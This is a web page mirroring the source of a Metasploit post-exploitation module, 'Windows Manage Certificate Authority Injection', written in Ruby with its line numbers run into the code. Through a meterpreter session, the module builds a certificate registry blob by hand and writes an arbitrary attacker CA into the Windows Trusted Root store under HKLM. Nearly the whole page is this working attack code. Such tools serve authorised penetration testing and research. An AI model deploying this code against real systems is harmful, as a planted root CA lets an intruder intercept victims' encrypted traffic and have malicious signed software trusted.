Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/inject_ca.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Windows Manage Certificate Authority Injection',12'Description' => %q{13This module allows the attacker to insert an arbitrary CA certificate14into the victim's Trusted Root store.15},16'License' => BSD_LICENSE,17'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],18'Platform' => [ 'win' ],19'SessionTypes' => [ 'meterpreter' ],20'Compat' => {21'Meterpreter' => {22'Commands' => %w[23stdapi_registry_create_key24stdapi_registry_open_key25]26}27}28)29)3031register_options(32[33OptString.new('CAFILE', [ true, 'Path to the certificate you wish to install as a Trusted Root CA.', ''])34]35)36end3738def run39certfile = datastore['CAFILE']4041# Check file path42begin43::File.stat(certfile)44rescue StandardError45print_error('CAFILE not found')46return47end4849cert = ''5051# Load the file52f = ::File.open(certfile, 'rb')53cert = f.read(f.stat.size)54f.close5556loadedcert = OpenSSL::X509::Certificate.new(cert)57certmd5 = Digest::MD5.hexdigest(loadedcert.to_der).scan(/../)58certsha1 = Digest::SHA1.hexdigest(loadedcert.to_der).scan(/../)59cskiray = loadedcert.extensions[0].value.gsub(/:/, '').scan(/../)6061derLength = loadedcert.to_der.length.to_s(16)62if (derLength.length < 4)63derLength = "0#{derLength}"64end6566derRay = derLength.scan(/../)67hexDerLength = [ derRay[1], derRay[0] ]6869certder = loadedcert.to_der.each_byte.collect { |val| '%02X' % val }7071bblob = [ '04', '00', '00', '00', '01', '00', '00', '00', '10', '00', '00', '00' ]72bblob += certmd573bblob += [ '03', '00', '00', '00', '01', '00', '00', '00', '14', '00', '00', '00' ]74bblob += certsha175bblob += [ '14', '00', '00', '00', '01', '00', '00', '00', '14', '00', '00', '00' ]76bblob += cskiray77bblob += [ '20', '00', '00', '00', '01', '00', '00', '00' ]78bblob += hexDerLength79bblob += [ '00', '00' ]80bblob += certder8182blob = bblob.map(&:hex).pack('C*')8384cleancertsha1 = certsha1.to_s.gsub(/[\s\[\\"\]]/, '').gsub(/,/, '').upcase85catree = 'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates'86entire_key = "#{catree}\\#{cleancertsha1}"87root_key, base_key = client.sys.registry.splitkey(entire_key)8889# Perform the registry operations9091# Ensure the cert doesn't already exist92begin93open_key = nil94open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + 0x0000)95values = open_key.enum_value96if !values.empty?97print_error('Key already exists!')98return99end100rescue StandardError101open_key = nil102open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + 0x0000)103print_good("Successfully created key: #{entire_key}")104105open_key.set_value('Blob', REG_BINARY, blob)106print_good('CA inserted!')107end108end109end110111112